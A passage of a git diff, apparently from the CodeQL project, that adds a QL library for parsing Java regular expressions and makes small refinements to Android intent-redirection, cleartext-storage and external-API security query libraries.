+      inner_end =
+        min(int end_delimiter |
+          this.quoteDelimiter(end_delimiter) = false and end_delimiter > inner_start
+        )
+    )
+  }
+
+  /** Holds if the character at `pos` is a "\" that is actually escaping what comes after. */
+  predicate escapingChar(int pos) {
+    this.escaping(pos) = true and
+    not exists(int x, int y | this.quote(x, y) and pos in [x .. y - 1])
+  }
+
+  /**
+   * Holds if there is a control sequence, `\cx`, between `start` and `end`.
+   * `x` may be any ascii character including special characters.
+   */
+  predicate controlEscape(int start, int end) {
+    this.escapingChar(start) and
+    this.getChar(start + 1) = "c" and
+    end = start + 3
+  }
+
+  private predicate namedBackreference(int start, int end, string name) {
+    this.escapingChar(start) and
+    this.getChar(start + 1) = "k" and
+    this.getChar(start + 2) = "<" and
+    end = min(int i | i > start + 2 and this.getChar(i) = ">") + 1 and
+    name = this.getText().substring(start + 3, end - 1)
+  }
+
+  private predicate numberedBackreference(int start, int end, int value) {
+    this.escapingChar(start) and
+    // starting with 0 makes it an octal escape
+    not this.getChar(start + 1) = "0" and
+    exists(string text, string svalue, int len |
+      end = start + len and
+      text = this.getText() and
+      len in [2 .. 3]
+    |
+      svalue = text.substring(start + 1, start + len) and
+      value = svalue.toInt() and
+      // value is composed of digits
+      forall(int i | i in [start + 1 .. start + len - 1] | this.getChar(i) = [0 .. 9].toString()) and
+      // a longer reference is not possible
+      not (
+        len = 2 and
+        exists(text.substring(start + 1, start + len + 1).toInt())
+      ) and
+      // 3 octal digits makes it an octal escape
+      not forall(int i | i in [start + 1 .. start + 4] | this.isOctal(i))
+      // TODO: Inside a character set, all numeric escapes are treated as characters.
+    )
+  }
+
+  /** Holds if the text in the range start,end is a back reference */
+  predicate backreference(int start, int end) {
+    this.numberedBackreference(start, end, _)
+    or
+    this.namedBackreference(start, end, _)
+  }
+
+  /** Gets the number of the back reference in start,end */
+  int getBackrefNumber(int start, int end) { this.numberedBackreference(start, end, result) }
+
+  /** Gets the name, if it has one, of the back reference in start,end */
+  string getBackrefName(int start, int end) { this.namedBackreference(start, end, result) }
+
+  pragma[inline]
+  private predicate isOctal(int index) { this.getChar(index) = [0 .. 7].toString() }
+
+  /** An escape sequence that includes braces, such as named characters (\N{degree sign}), named classes (\p{Lower}), or hex values (\x{h..h}) */
+  private predicate escapedBraces(int start, int end) {
+    this.escapingChar(start) and
+    this.getChar(start + 1) = ["N", "p", "P", "x"] and
+    this.getChar(start + 2) = "{" and
+    end = min(int i | start + 2 < i and this.getChar(i - 1) = "}")
+  }
+
+  /**
+   * Holds if an escaped character is found between `start` and `end`.
+   * Escaped characters include hex values, octal values and named escapes,
+   * but excludes backreferences.
+   */
+  predicate escapedCharacter(int start, int end) {
+    this.escapingChar(start) and
+    not this.backreference(start, _) and
+    (
+      // hex value \xhh
+      this.getChar(start + 1) = "x" and
+      this.getChar(start + 2) != "{" and
+      end = start + 4
+      or
+      // octal value \0o, \0oo, or \0ooo. Max of 0377.
+      this.getChar(start + 1) = "0" and
+      this.isOctal(start + 2) and
+      (
+        if this.isOctal(start + 3)
+        then
+          if this.isOctal(start + 4) and this.getChar(start + 2) in ["0", "1", "2", "3"]
+          then end = start + 5
+          else end = start + 4
+        else end = start + 3
+      )
+      or
+      // 16-bit hex value \uhhhh
+      this.getChar(start + 1) = "u" and end = start + 6
+      or
+      this.escapedBraces(start, end)
+      or
+      // Boundary matchers \b, \b{g}
+      this.getChar(start + 1) = "b" and
+      (
+        if this.getText().substring(start + 2, start + 5) = "{g}"
+        then end = start + 5
+        else end = start + 2
+      )
+      or
+      this.controlEscape(start, end)
+      or
+      // escape not handled above, update when adding a new case
+      not this.getChar(start + 1) in ["x", "0", "u", "p", "P", "N", "b", "c"] and
+      not exists(this.getChar(start + 1).toInt()) and
+      end = start + 2
+    )
+  }
+
+  private string nonEscapedCharAt(int i) {
+    result = this.getChar(i) and
+    not exists(int x, int y | this.escapedCharacter(x, y) and i in [x .. y - 1]) and
+    not exists(int x, int y | this.quote(x, y) and i in [x .. y - 1])
+  }
+
+  /** Holds if a character set starts between `start` and `end`, including any negation character (`^`). */
+  private predicate charSetStart0(int start, int end) {
+    this.nonEscapedCharAt(start) = "[" and
+    (if this.getChar(start + 1) = "^" then end = start + 2 else end = start + 1)
+  }
+
+  /** Holds if the character at `pos` marks the end of a character class. */
+  private predicate charSetEnd0(int pos) {
+    this.nonEscapedCharAt(pos) = "]" and
+    /* special case: `[]]` and `[^]]` are valid char classes.  */
+    not this.charSetStart0(_, pos)
+  }
+
+  /**
+   * Holds if the character at `pos` starts a character set delimiter.
+   * Result is 1 for `[` and -1 for `]`.
+   */
+  private int charSetDelimiter(int pos) {
+    result = 1 and this.charSetStart0(pos, _)
+    or
+    result = -1 and this.charSetEnd0(pos)
+  }
+
+  /**
+   * Holds if the char at `pos` is the one-based `index`th occourence of a character set delimiter (`[` or `]`).
+   * Result is 1 for `[` and -1 for `]`.
+   */
+  private int charSetDelimiter(int index, int pos) {
+    result = this.charSetDelimiter(pos) and
+    pos = rank[index](int p | exists(this.charSetDelimiter(p)))
+  }
+
+  /**
+   * Gets the nesting depth of character classes after position `pos`,
+   * where `pos` is the position of a character set delimiter.
+   */
+  private int charSetDepth(int index, int pos) {
+    index = 1 and result = 0.maximum(this.charSetDelimiter(index, pos))
+    or
+    result = 0.maximum(this.charSetDelimiter(index, pos) + this.charSetDepth(index - 1, _))
+  }
+
+  /** Hold if a top-level character set starts between `start` and `end`. */
+  predicate charSetStart(int start, int end) {
+    this.charSetStart0(start, end) and
+    this.charSetDepth(_, start) = 1
+  }
+
+  /** Holds if a top-level character set ends at `pos`. */
+  predicate charSetEnd(int pos) {
+    this.charSetEnd0(pos) and
+    this.charSetDepth(_, pos) = 0
+  }
+
+  /**
+   * Holds if there is a top-level character class beginning at `start` (inclusive) and ending at `end` (exclusive)
+   *
+   * For now, nested character classes are approximated by only considering the top-level class for parsing.
+   * This leads to very similar results for ReDoS queries.
+   */
+  predicate charSet(int start, int end) {
+    exists(int inner_start, int inner_end | this.charSetStart(start, inner_start) |
+      end = inner_end + 1 and
+      inner_end =
+        min(int end_delimiter | this.charSetEnd(end_delimiter) and end_delimiter > inner_start)
+    )
+  }
+
+  /** Either a char or a - */
+  private predicate charSetToken(int charset_start, int start, int end) {
+    this.charSetStart(charset_start, start) and
+    (
+      this.escapedCharacter(start, end)
+      or
+      exists(this.nonEscapedCharAt(start)) and end = start + 1
+      or
+      this.quote(start, end)
+    )
+    or
+    this.charSetToken(charset_start, _, start) and
+    (
+      this.escapedCharacter(start, end)
+      or
+      exists(this.nonEscapedCharAt(start)) and
+      end = start + 1 and
+      not this.charSetEnd(start)
+      or
+      this.quote(start, end)
+    )
+  }
+
+  /** An indexed version of `charSetToken/3` */
+  private predicate charSetToken(int charset_start, int index, int token_start, int token_end) {
+    token_start = rank[index](int start | this.charSetToken(charset_start, start, _) | start) and
+    this.charSetToken(charset_start, token_start, token_end)
+  }
+
+  /**
+   * Helper predicate for `charRange`.
+   * We can determine where character ranges end by a left to right sweep.
+   *
+   * To avoid negative recursion we return a boolean. See `escaping`,
+   * the helper for `escapingChar`, for a clean use of this pattern.
+   */
+  private boolean charRangeEnd(int charset_start, int index) {
+    this.charSetToken(charset_start, index, _, _) and
+    (
+      index in [1, 2] and result = false
+      or
+      index > 2 and
+      exists(int connector_start |
+        this.charSetToken(charset_start, index - 1, connector_start, _) and
+        this.nonEscapedCharAt(connector_start) = "-" and
+        result =
+          this.charRangeEnd(charset_start, index - 2)
+              .booleanNot()
+              .booleanAnd(this.charRangeEnd(charset_start, index - 1).booleanNot())
+      )
+      or
+      not exists(int connector_start |
+        this.charSetToken(charset_start, index - 1, connector_start, _) and
+        this.nonEscapedCharAt(connector_start) = "-"
+      ) and
+      result = false
+    )
+  }
+
+  /**
+   * Holds if the character set starting at `charset_start` contains a character range
+   * with lower bound found between `start` and `lower_end`
+   * and upper bound found between `upper_start` and `end`.
+   */
+  predicate charRange(int charset_start, int start, int lower_end, int upper_start, int end) {
+    exists(int index |
+      this.charRangeEnd(charset_start, index) = true and
+      this.charSetToken(charset_start, index - 2, start, lower_end) and
+      this.charSetToken(charset_start, index, upper_start, end)
+    )
+  }
+
+  /**
+   * Holds if the character set starting at `charset_start` contains either
+   * a character or a range found between `start` and `end`.
+   */
+  predicate charSetChild(int charset_start, int start, int end) {
+    this.charSetToken(charset_start, start, end) and
+    not exists(int range_start, int range_end |
+      this.charRange(charset_start, range_start, _, _, range_end) and
+      range_start <= start and
+      range_end >= end
+    )
+    or
+    this.charRange(charset_start, start, _, _, end)
+  }
+
+  /** Holds if `index` is inside a character set. */
+  predicate inCharSet(int index) {
+    exists(int x, int y | this.charSet(x, y) and index in [x + 1 .. y - 2])
+  }
+
+  /**
+   * 'simple' characters are any that don't alter the parsing of the regex.
+   */
+  private predicate simpleCharacter(int start, int end) {
+    end = start + 1 and
+    not this.charSet(start, _) and
+    not this.charSet(_, start + 1) and
+    exists(string c | c = this.getChar(start) |
+      exists(int x, int y, int z |
+        this.charSet(x, z) and
+        this.charSetStart(x, y)
+      |
+        start = y
+        or
+        start = z - 2
+        or
+        start > y and start < z - 2 and not this.charRange(_, _, start, end, _)
+      )
+      or
+      not this.inCharSet(start) and
+      not c = "(" and
+      not c = "[" and
+      not c = ")" and
+      not c = "|" and
+      not c = "{" and
+      not exists(int qstart, int qend | this.quantifier(qstart, qend, _, _) |
+        qstart <= start and start < qend
+      )
+    )
+  }
+
+  private predicate character(int start, int end) {
+    (
+      this.simpleCharacter(start, end) and
+      not exists(int x, int y | this.escapedCharacter(x, y) and x <= start and y >= end) and
+      not exists(int x, int y | this.quote(x, y) and x <= start and y >= end)
+      or
+      this.escapedCharacter(start, end)
+    ) and
+    not exists(int x, int y | this.groupStart(x, y) and x <= start and y >= end) and
+    not exists(int x, int y | this.backreference(x, y) and x <= start and y >= end)
+  }
+
+  /** Holds if a normal character or escape sequence is between `start` and `end`. */
+  predicate normalCharacter(int start, int end) {
+    this.character(start, end) and
+    not this.specialCharacter(start, end, _)
+  }
+
+  /** Holds if a special character `char` is between `start` and `end`. */
+  predicate specialCharacter(int start, int end, string char) {
+    this.character(start, end) and
+    end = start + 1 and
+    char = this.getChar(start) and
+    (char = "$" or char = "^" or char = ".") and
+    not this.inCharSet(start)
+  }
+
+  private predicate isGroupEnd(int i) { this.nonEscapedCharAt(i) = ")" and not this.inCharSet(i) }
+
+  private predicate isGroupStart(int i) { this.nonEscapedCharAt(i) = "(" and not this.inCharSet(i) }
+
+  /** Holds if an empty group is found between `start` and `end`. */
+  predicate emptyGroup(int start, int end) {
+    exists(int endm1 | end = endm1 + 1 |
+      this.groupStart(start, endm1) and
+      this.isGroupEnd(endm1)
+    )
+  }
+
+  private predicate nonCapturingGroupStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = ":" and
+    end = start + 3
+  }
+
+  private predicate simpleGroupStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) != "?" and
+    end = start + 1
+  }
+
+  private predicate namedGroupStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = "<" and
+    not this.getChar(start + 3) = "=" and
+    not this.getChar(start + 3) = "!" and
+    exists(int name_end |
+      name_end = min(int i | i > start + 3 and this.getChar(i) = ">") and
+      end = name_end + 1
+    )
+  }
+
+  private predicate flagGroupStart(int start, int end, string c) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    end = start + 3 and
+    c = this.getChar(start + 2) and
+    c in ["i", "m", "s", "u", "x", "U"]
+  }
+
+  /**
+   * Gets the mode of this regular expression string if
+   * it is defined by a prefix.
+   */
+  string getModeFromPrefix() {
+    exists(string c | this.flagGroupStart(_, _, c) |
+      c = "i" and result = "IGNORECASE"
+      or
+      c = "m" and result = "MULTILINE"
+      or
+      c = "s" and result = "DOTALL"
+      or
+      c = "u" and result = "UNICODE"
+      or
+      c = "x" and result = "VERBOSE"
+      or
+      c = "U" and result = "UNICODECLASS"
+    )
+  }
+
+  private predicate lookaheadAssertionStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = "=" and
+    end = start + 3
+  }
+
+  private predicate negativeLookaheadAssertionStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = "!" and
+    end = start + 3
+  }
+
+  private predicate lookbehindAssertionStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = "<" and
+    this.getChar(start + 3) = "=" and
+    end = start + 4
+  }
+
+  private predicate negativeLookbehindAssertionStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = "<" and
+    this.getChar(start + 3) = "!" and
+    end = start + 4
+  }
+
+  private predicate atomicGroupStart(int start, int end) {
+    this.isGroupStart(start) and
+    this.getChar(start + 1) = "?" and
+    this.getChar(start + 2) = ">" and
+    end = start + 3
+  }
+
+  private predicate groupStart(int start, int end) {
+    this.nonCapturingGroupStart(start, end)
+    or
+    this.flagGroupStart(start, end, _)
+    or
+    this.namedGroupStart(start, end)
+    or
+    this.lookaheadAssertionStart(start, end)
+    or
+    this.negativeLookaheadAssertionStart(start, end)
+    or
+    this.lookbehindAssertionStart(start, end)
+    or
+    this.negativeLookbehindAssertionStart(start, end)
+    or
+    this.atomicGroupStart(start, end)
+    or
+    this.simpleGroupStart(start, end)
+  }
+
+  /** Holds if the text in the range start,end is a group with contents in the range in_start,in_end */
+  predicate groupContents(int start, int end, int in_start, int in_end) {
+    this.groupStart(start, in_start) and
+    end = in_end + 1 and
+    this.topLevel(in_start, in_end) and
+    this.isGroupEnd(in_end)
+  }
+
+  /** Holds if the text in the range start,end is a group */
+  predicate group(int start, int end) {
+    this.groupContents(start, end, _, _)
+    or
+    this.emptyGroup(start, end)
+  }
+
+  /** Gets the number of the group in start,end */
+  int getGroupNumber(int start, int end) {
+    this.group(start, end) and
+    result =
+      count(int i | this.group(i, _) and i < start and not this.nonCapturingGroupStart(i, _)) + 1
+  }
+
+  /** Gets the name, if it has one, of the group in start,end */
+  string getGroupName(int start, int end) {
+    this.group(start, end) and
+    exists(int name_end |
+      this.namedGroupStart(start, name_end) and
+      result = this.getText().substring(start + 3, name_end - 1)
+    )
+  }
+
+  /** Holds if a negative lookahead is found between `start` and `end` */
+  predicate negativeLookaheadAssertionGroup(int start, int end) {
+    exists(int in_start | this.negativeLookaheadAssertionStart(start, in_start) |
+      this.groupContents(start, end, in_start, _)
+    )
+  }
+
+  /** Holds if a negative lookbehind is found between `start` and `end` */
+  predicate negativeLookbehindAssertionGroup(int start, int end) {
+    exists(int in_start | this.negativeLookbehindAssertionStart(start, in_start) |
+      this.groupContents(start, end, in_start, _)
+    )
+  }
+
+  private predicate negativeAssertionGroup(int start, int end) {
+    exists(int in_start |
+      this.negativeLookaheadAssertionStart(start, in_start)
+      or
+      this.negativeLookbehindAssertionStart(start, in_start)
+    |
+      this.groupContents(start, end, in_start, _)
+    )
+  }
+
+  /** Holds if a positive lookahead is found between `start` and `end` */
+  predicate positiveLookaheadAssertionGroup(int start, int end) {
+    exists(int in_start | this.lookaheadAssertionStart(start, in_start) |
+      this.groupContents(start, end, in_start, _)
+    )
+  }
+
+  /** Holds if a positive lookbehind is found between `start` and `end` */
+  predicate positiveLookbehindAssertionGroup(int start, int end) {
+    exists(int in_start | this.lookbehindAssertionStart(start, in_start) |
+      this.groupContents(start, end, in_start, _)
+    )
+  }
+
+  /** Holds if the text in the range start, end is a group and can match the empty string. */
+  predicate zeroWidthMatch(int start, int end) {
+    this.emptyGroup(start, end)
+    or
+    this.negativeAssertionGroup(start, end)
+    or
+    this.positiveLookaheadAssertionGroup(start, end)
+    or
+    this.positiveLookbehindAssertionGroup(start, end)
+  }
+
+  private predicate baseItem(int start, int end) {
+    this.character(start, end) and
+    not exists(int x, int y | this.charSet(x, y) and x <= start and y >= end)
+    or
+    this.group(start, end)
+    or
+    this.charSet(start, end)
+    or
+    this.backreference(start, end)
+    or
+    this.quote(start, end)
+  }
+
+  private predicate shortQuantifier(
+    int start, int end, boolean maybe_empty, boolean may_repeat_forever
+  ) {
+    (
+      this.getChar(start) = "+" and maybe_empty = false and may_repeat_forever = true
+      or
+      this.getChar(start) = "*" and maybe_empty = true and may_repeat_forever = true
+      or
+      this.getChar(start) = "?" and maybe_empty = true and may_repeat_forever = false
+    ) and
+    end = start + 1
+    or
+    exists(string lower, string upper |
+      this.multiples(start, end, lower, upper) and
+      (if lower = "" or lower.toInt() = 0 then maybe_empty = true else maybe_empty = false) and
+      if upper = "" then may_repeat_forever = true else may_repeat_forever = false
+    )
+  }
+
+  /**
+   * Holds if a repetition quantifier is found between `start` and `end`,
+   * with the given lower and upper bounds. If a bound is omitted, the corresponding
+   * string is empty.
+   */
+  predicate multiples(int start, int end, string lower, string upper) {
+    exists(string text, string match, string inner |
+      text = this.getText() and
+      end = start + match.length() and
+      inner = match.substring(1, match.length() - 1)
+    |
+      match = text.regexpFind("\\{[0-9]+\\}", _, start) and
+      lower = inner and
+      upper = lower
+      or
+      match = text.regexpFind("\\{[0-9]*,[0-9]*\\}", _, start) and
+      exists(int commaIndex |
+        commaIndex = inner.indexOf(",") and
+        lower = inner.prefix(commaIndex) and
+        upper = inner.suffix(commaIndex + 1)
+      )
+    )
+  }
+
+  private predicate quantifier(int start, int end, boolean maybe_empty, boolean may_repeat_forever) {
+    this.shortQuantifier(start, end, maybe_empty, may_repeat_forever) and
+    not this.getChar(end) = ["?", "+"]
+    or
+    exists(int short_end | this.shortQuantifier(start, short_end, maybe_empty, may_repeat_forever) |
+      if this.getChar(short_end) = ["?", "+"] then end = short_end + 1 else end = short_end
+    )
+  }
+
+  /**
+   * Holds if a quantified part is found between `start` and `part_end` and the quantifier is
+   * found between `part_end` and `end`.
+   *
+   * `maybe_empty` is true if the part is optional.
+   * `may_repeat_forever` is true if the part may be repeated unboundedly.
+   */
+  predicate quantifiedPart(
+    int start, int part_end, int end, boolean maybe_empty, boolean may_repeat_forever
+  ) {
+    this.baseItem(start, part_end) and
+    this.quantifier(part_end, end, maybe_empty, may_repeat_forever)
+  }
+
+  /**
+   * Holds if the text in the range start,end is a quantified item, where item is a character,
+   * a character set or a group.
+   */
+  predicate quantifiedItem(int start, int end, boolean maybe_empty, boolean may_repeat_forever) {
+    this.quantifiedPart(start, _, end, maybe_empty, may_repeat_forever)
+  }
+
+  /** Holds if the range `start`, `end` contains a character, a quantifier, a character set or a group. */
+  predicate item(int start, int end) {
+    this.quantifiedItem(start, end, _, _)
+    or
+    this.baseItem(start, end) and not this.quantifier(end, _, _, _)
+  }
+
+  private predicate itemStart(int start) {
+    this.character(start, _) or
+    this.isGroupStart(start) or
+    this.charSet(start, _) or
+    this.backreference(start, _) or
+    this.quote(start, _)
+  }
+
+  private predicate itemEnd(int end) {
+    this.character(_, end)
+    or
+    exists(int endm1 | this.isGroupEnd(endm1) and end = endm1 + 1)
+    or
+    this.charSet(_, end)
+    or
+    this.quantifier(_, end, _, _)
+    or
+    this.quote(_, end)
+  }
+
+  private predicate isOptionDivider(int i) { this.nonEscapedCharAt(i) = "|" }
+
+  private predicate subsequence(int start, int end) {
+    (
+      start = 0 or
+      this.groupStart(_, start) or
+      this.isOptionDivider(start - 1)
+    ) and
+    this.item(start, end)
+    or
+    exists(int mid |
+      this.subsequence(start, mid) and
+      this.item(mid, end)
+    )
+  }
+
+  private predicate sequenceOrQuantified(int start, int end) {
+    this.subsequence(start, end) and
+    not this.itemStart(end)
+  }
+
+  /**
+   * Holds if the text in the range start,end is a sequence of 1 or more items, where an item is a character,
+   * a character set or a group.
+   */
+  predicate sequence(int start, int end) {
+    this.sequenceOrQuantified(start, end) and
+    not this.quantifiedItem(start, end, _, _)
+  }
+
+  private predicate subalternation(int start, int end, int itemStart) {
+    this.sequenceOrQuantified(start, end) and
+    not this.isOptionDivider(start - 1) and
+    itemStart = start
+    or
+    start = end and
+    not this.itemEnd(start) and
+    this.isOptionDivider(end) and
+    itemStart = start
+    or
+    exists(int mid |
+      this.subalternation(start, mid, _) and
+      this.isOptionDivider(mid) and
+      itemStart = mid + 1
+    |
+      this.sequenceOrQuantified(itemStart, end)
+      or
+      not this.itemStart(end) and end = itemStart
+    )
+  }
+
+  private predicate topLevel(int start, int end) {
+    not this.inCharSet(start) and
+    this.subalternation(start, end, _) and
+    not this.isOptionDivider(end)
+  }
+
+  /**
+   * Holds if the text in the range start,end is an alternation
+   */
+  predicate alternation(int start, int end) {
+    this.topLevel(start, end) and
+    exists(int less | this.subalternation(start, less, _) and less < end)
+  }
+
+  /**
+   * Holds if the text in the range start,end is an alternation and the text in part_start, part_end is one of the
+   * options in that alternation.
+   */
+  predicate alternationOption(int start, int end, int part_start, int part_end) {
+    this.alternation(start, end) and
+    this.subalternation(start, part_end, part_start)
+  }
+
+  /**
+   * Gets the `i`th character of this literal as it was written in the source code.
+   */
+  string getSourceChar(int i) { result = this.(StringLiteral).getLiteral().charAt(i) }
+
+  /**
+   * Helper predicate for `sourceEscapingChar` that
+   * results in a boolean in order to avoid negative recursion.
+   */
+  private boolean sourceEscaping(int pos) {
+    pos = -1 and result = false
+    or
+    this.getSourceChar(pos) = "\\" and
+    result = this.sourceEscaping(pos - 1).booleanNot()
+    or
+    this.getSourceChar(pos) != "\\" and result = false
+  }
+
+  /**
+   * Equivalent of `escapingChar` for the literal source rather than the string value.
+   * Holds if the character at position `pos` in the source literal is a '\' that is
+   * actually escaping what comes after it.
+   */
+  private predicate sourceEcapingChar(int pos) { this.sourceEscaping(pos) = true }
+
+  /**
+   * Holds if an escaped character exists between `start` and `end` in the source iteral.
+   */
+  private predicate sourceEscapedCharacter(int start, int end) {
+    this.sourceEcapingChar(start) and
+    (if this.getSourceChar(start + 1) = "u" then end = start + 6 else end = start + 2)
+  }
+
+  private predicate sourceNonEscapedCharacter(int i) {
+    exists(this.getSourceChar(i)) and
+    not exists(int x, int y | this.sourceEscapedCharacter(x, y) and i in [x .. y - 1])
+  }
+
+  /**
+   * Holds if a character is represented between `start` and `end` in the source literal.
+   */
+  private predicate sourceCharacter(int start, int end) {
+    this.sourceEscapedCharacter(start, end)
+    or
+    this.sourceNonEscapedCharacter(start) and
+    end = start + 1
+  }
+
+  /**
+   * Holds if the `i`th character of the string is represented between offsets
+   * `start` (inclusive) and `end` (exclusive) in the source code of this literal.
+   * This only gives correct results if the literal is written as a normal single-line string literal;
+   * without compile-time concatenation involved.
+   */
+  predicate sourceCharacter(int pos, int start, int end) {
+    exists(this.getChar(pos)) and
+    this.sourceCharacter(start, end) and
+    start = rank[pos + 2](int s | this.sourceCharacter(s, _))
+  }
+}
+
+/** A string literal used as a regular expression */
+class Regex extends RegexString {
+  boolean matches_full_string;
+
+  Regex() { usedAsRegex(this, _, matches_full_string) }
+
+  /**
+   * Gets a mode (if any) of this regular expression. Can be any of:
+   * DEBUG
+   * IGNORECASE
+   * MULTILINE
+   * DOTALL
+   * UNICODE
+   * VERBOSE
+   * UNICODECLASS
+   */
+  string getAMode() {
+    result != "None" and
+    usedAsRegex(this, result, _)
+    or
+    result = this.getModeFromPrefix()
+  }
+
+  /**
+   *  Holds if this regex is used to match against a full string,
+   * as though it was implicitly surrounded by ^ and $.
+   */
+  predicate matchesFullString() { matches_full_string = true }
+}
diff --git a/java/ql/lib/semmle/code/java/security/AndroidIntentRedirection.qll b/java/ql/lib/semmle/code/java/security/AndroidIntentRedirection.qll
index 4a89b59f8c9..c549784ccbf 100644
--- a/java/ql/lib/semmle/code/java/security/AndroidIntentRedirection.qll
+++ b/java/ql/lib/semmle/code/java/security/AndroidIntentRedirection.qll
@@ -65,16 +65,24 @@ private class DefaultIntentRedirectionSink extends IntentRedirectionSink {
 }
 
 /**
- * A default sanitizer for nodes dominated by calls to `ComponentName.getPackageName`
- * or `ComponentName.getClassName`. These are used to check whether the origin or destination
+ * A default sanitizer for `Intent` nodes dominated by calls to `ComponentName.getPackageName`
+ * and `ComponentName.getClassName`. These are used to check whether the origin or destination
  * components are trusted.
  */
 private class DefaultIntentRedirectionSanitizer extends IntentRedirectionSanitizer {
   DefaultIntentRedirectionSanitizer() {
+    this.getType() instanceof TypeIntent and
     exists(MethodAccess ma, Method m, Guard g, boolean branch |
       ma.getMethod() = m and
       m.getDeclaringType() instanceof TypeComponentName and
-      m.hasName(["getPackageName", "getClassName"]) and
+      m.hasName("getPackageName") and
+      g.isEquality(ma, _, branch) and
+      g.controls(this.asExpr().getBasicBlock(), branch)
+    ) and
+    exists(MethodAccess ma, Method m, Guard g, boolean branch |
+      ma.getMethod() = m and
+      m.getDeclaringType() instanceof TypeComponentName and
+      m.hasName("getClassName") and
       g.isEquality(ma, _, branch) and
       g.controls(this.asExpr().getBasicBlock(), branch)
     )
diff --git a/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidDatabaseQuery.qll b/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidDatabaseQuery.qll
index 0a1f306677f..7edd9e74c50 100644
--- a/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidDatabaseQuery.qll
+++ b/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidDatabaseQuery.qll
@@ -11,20 +11,6 @@ private class LocalDatabaseCleartextStorageSink extends CleartextStorageSink {
   LocalDatabaseCleartextStorageSink() { localDatabaseInput(_, this.asExpr()) }
 }
 
-private class LocalDatabaseCleartextStorageStep extends CleartextStorageAdditionalTaintStep {
-  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
-    // EditText.getText() return type is parsed as `Object`, so we need to
-    // add a taint step for `Object.toString` to model `editText.getText().toString()`
-    exists(MethodAccess ma, Method m |
-      ma.getMethod() = m and
-      m.getDeclaringType() instanceof TypeObject and
-      m.hasName("toString")
-    |
-      n1.asExpr() = ma.getQualifier() and n2.asExpr() = ma
-    )
-  }
-}
-
 /** The creation of an object that can be used to store data in a local database. */
 class LocalDatabaseOpenMethodAccess extends Storable, Call {
   LocalDatabaseOpenMethodAccess() {
diff --git a/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidFilesystemQuery.qll b/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidFilesystemQuery.qll
index 649b684f06d..5b836e4c01f 100644
--- a/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidFilesystemQuery.qll
+++ b/java/ql/lib/semmle/code/java/security/CleartextStorageAndroidFilesystemQuery.qll
@@ -5,7 +5,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 import semmle.code.java.security.CleartextStorageQuery
 import semmle.code.java.security.Files
 import semmle.code.xml.AndroidManifest
diff --git a/java/ql/lib/semmle/code/java/security/CleartextStorageQuery.qll b/java/ql/lib/semmle/code/java/security/CleartextStorageQuery.qll
index 094d4b41c9d..8bd14b63ea6 100644
--- a/java/ql/lib/semmle/code/java/security/CleartextStorageQuery.qll
+++ b/java/ql/lib/semmle/code/java/security/CleartextStorageQuery.qll
@@ -85,18 +85,3 @@ private class EncryptedValueFlowConfig extends DataFlow4::Configuration {
 
   override predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof SensitiveExpr }
 }
-
-/** A taint step for `EditText.toString` in Android. */
-private class AndroidEditTextCleartextStorageStep extends CleartextStorageAdditionalTaintStep {
-  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
-    // EditText.getText() return type is parsed as `Object`, so we need to
-    // add a taint step for `Object.toString` to model `editText.getText().toString()`
-    exists(MethodAccess ma, Method m |
-      ma.getMethod() = m and
-      m.getDeclaringType() instanceof TypeObject and
-      m.hasName("toString")
-    |
-      n1.asExpr() = ma.getQualifier() and n2.asExpr() = ma
-    )
-  }
-}
diff --git a/java/ql/lib/semmle/code/java/security/ExternalAPIs.qll b/java/ql/lib/semmle/code/java/security/ExternalAPIs.qll
index b4b8ea7fdd9..1356c152d23 100644
--- a/java/ql/lib/semmle/code/java/security/ExternalAPIs.qll
+++ b/java/ql/lib/semmle/code/java/security/ExternalAPIs.qll
@@ -20,7 +20,7 @@ private class DefaultSafeExternalApiMethod extends SafeExternalApiMethod {
   DefaultSafeExternalApiMethod() {
     this instanceof EqualsMethod
     or
-    this.getName().regexpMatch("size|length|compareTo|getClass|lastIndexOf")
+    this.hasName(["size", "length", "compareTo", "getClass", "lastIndexOf"])
     or
     this.getDeclaringType().hasQualifiedName("org.apache.commons.lang3", "Validate")
     or
@@ -42,7 +42,7 @@ private class DefaultSafeExternalApiMethod extends SafeExternalApiMethod {
     this.getName() = "isDigit"
     or
     this.getDeclaringType().hasQualifiedName("java.lang", "String") and
-    this.getName().regexpMatch("equalsIgnoreCase|regionMatches")
+    this.hasName(["equalsIgnoreCase", "regionMatches"])
     or
     this.getDeclaringType().hasQualifiedName("java.lang", "Boolean") and
     this.getName() = "parseBoolean"
@@ -51,7 +51,7 @@ private class DefaultSafeExternalApiMethod extends SafeExternalApiMethod {
     this.getName() = "closeQuietly"
     or
     this.getDeclaringType().hasQualifiedName("org.springframework.util", "StringUtils") and
-    this.getName().regexpMatch("hasText|isEmpty")
+    this.hasName(["hasText", "isEmpty"])
   }
 }
 
diff --git a/java/ql/lib/semmle/code/java/security/Files.qll b/java/ql/lib/semmle/code/java/security/Files.qll
index c017f0cedc1..8d802325792 100644
--- a/java/ql/lib/semmle/code/java/security/Files.qll
+++ b/java/ql/lib/semmle/code/java/security/Files.qll
@@ -1,7 +1,7 @@
 /** Provides classes and predicates to work with File objects. */
 
 import java
